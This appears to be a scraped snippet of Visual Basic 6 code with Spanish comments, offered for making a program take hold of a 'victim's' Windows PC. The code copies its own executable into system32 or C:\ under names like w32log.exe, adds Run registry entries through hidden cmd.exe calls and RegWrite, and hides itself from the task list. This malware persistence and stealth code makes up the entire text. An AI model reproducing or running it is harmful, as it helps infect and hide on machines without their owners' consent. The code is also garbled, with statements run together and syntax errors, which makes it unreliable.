FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\" & "algo" & ".exe"Shell ("cmd.exe /c Reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v algo /d C:\windows\system32\algo.exe"), vbHide
FileCopy App.Path & "\" algo.exe", "C:\WINDOWS\system32\algo.exe" Shell ("cmd.exe /c Reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v algo /d C:\windows\system32\algo.exe\algo.exe"), vbHide
Dim ejec As String'declaramos estas variables , si las declarais en el general mejorDim winDim sysDim objDim residenciaDim sOn Error Resume Nextejec = App.Path 'le pasamos a la variable la ruta del exe que ejecute la victimaIf Right(ejec, 1) <> "\" Then ejec = ejec & "\" 'si no tiene la "\" al final, se la añadiremosejec = ejec & App.EXEName & ".exe" 'añadimos ala ruta del exe, el nombre y la estensionSet obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo FileSystem objectSet win = obj.GetSpecialFolder(0) 'para obtener la carpeta de windows y systemSet sys = obj.GetSpecialFolder(1)win = LCase(win) 'las ponemos en minusculassys = LCase(sys)Set s = CreateObject("scripting.filesystemobject")If (s.fileexists("c:\w32log.exe")) = False ThenFileCopy ejec, "c:/w32log.exe"ElseEnd IfSet residencia = CreateObject("WScript.Shell")residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "W32Log", "C:\w32Log.exe" 'esto modifica el registro para que se ejecute al iniciar el pcApp.TaskVisible = False 'para ocultarlo un poco del, (alt +sup +control)